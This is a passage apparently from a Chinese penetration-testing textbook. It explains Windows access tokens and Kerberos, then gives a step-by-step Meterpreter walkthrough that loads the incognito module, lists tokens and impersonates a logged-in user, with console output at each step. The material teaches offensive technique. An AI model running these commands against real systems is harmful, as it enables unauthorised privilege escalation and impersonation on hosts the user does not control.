使用假冒令牌可以假冒一个网络中的另一个用户进行各种操作,如提升用户权限、创建用户和组等。令牌包括登录会话的安全信息,如用户身份识别、用户组和用户权限。当一个用户登录Windows系统时,它被给定一个访问令牌作为它认证会话的一部分。例如,一个入侵用户可能需要以域管理员处理一个特定任务,当它使用令牌便可假冒域管理员进行工作。当它处理完任务时,通常会丢弃该令牌权限。这样,入侵者将利用这个弱点,来提升它的访问权限。本节将介绍在Meterpreter Shell下实现假冒令牌攻击。
7.1.1 工作机制
在假冒令牌攻击中需要使用了Kerberos协议。所以在使用假冒令牌前,先介绍下Kerberos协议。Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos工作机制如图7.1所示。
图7.1 Kerberos工作机制
客户端请求证书的过程如下所示:
(1)客户端向认证服务器(AS)发送请求,要求得到服务器的证书。
(2)AS收到请求后,将包含客户端密钥的加密证书响应发送给客户端。该证书包括服务器ticket(包括服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥session key)。当然,认证服务器会将该证书给服务器也发送一份,用来使服务器认证登录客户端身份。
(3)客户端将ticket传送到服务器上,服务器确认该客户端的话,便允许它登录服 务器。
(4)这样客户端登录成功后,攻击者就可以通过入侵服务器来获取到客户端的令牌。
7.1.2 使用假冒令牌
为了获取一个Meterpreter Shell,用户必须使用Metasploit去攻击一台主机后才可成功建立Meterpreter会话。对于使用Metasploit攻击主机的方法,在第6章有详细介绍,这里就不再赘述。使用令牌假冒的具体操作步骤如下所示。
(1)启动Meterpreter会话。执行命令如下所示:
msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1…
meterpreter >
从输出的信息可以看到,成功启动了Meterpreter会话。
(2)使用use incognito命令加载incognito模块,然后列举出令牌。执行命令如下所示:
meterpreter > use incognito
Loading extension incognito…success.
输出的信息表示成功加载incognito模块。然后可以通过查看帮助信息,了解列举令牌的命令。执行命令如下所示:
以上输出信息显示incognito模块下的所有命令。从输出的信息中可以看到列举当前有效的令牌命令是list_tokens。执行以上命令后将输出大量信息,由于篇幅原因,部分内容使用省略号(……)取代了。
(3)列举所有令牌。执行命令如下所示:
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
===============================================
AA-886OKJM26FSW\Test
Impersonation Tokens Available
===============================================
No tokens available
从输出的信息可以看到分配的有效令牌有AA-886OKJM26FSW\Test。其中AA-886OKJM26FSW表示目标系统的主机名,Test表示登录的用户名。
(4)使用impersonate_token命令假冒Test用户进行攻击。执行命令如下所示:
meterpreter > impersonate_token AA-886OKJM26FSW\\Test
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user AA-886OKJM26FSW\Test
从输出的信息中可以看到假冒Test用户成功。此时就可以通过提升自己的权限,在目标系统中进行任何操作了。
注意:在输入HOSTNAME\USERNAME的时候需要输入两个反斜杠(\)。